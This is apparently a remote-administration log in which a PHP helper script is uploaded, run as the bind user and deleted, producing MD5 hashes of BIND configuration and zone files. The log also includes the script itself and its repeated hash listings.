MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:02:11: Establishing a connection
2026-02-09 14:02:11: 

PUT: /tmp/pkp398307

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:02:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp398307; rm /tmp/pkp398307'

2026-02-09 14:02:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
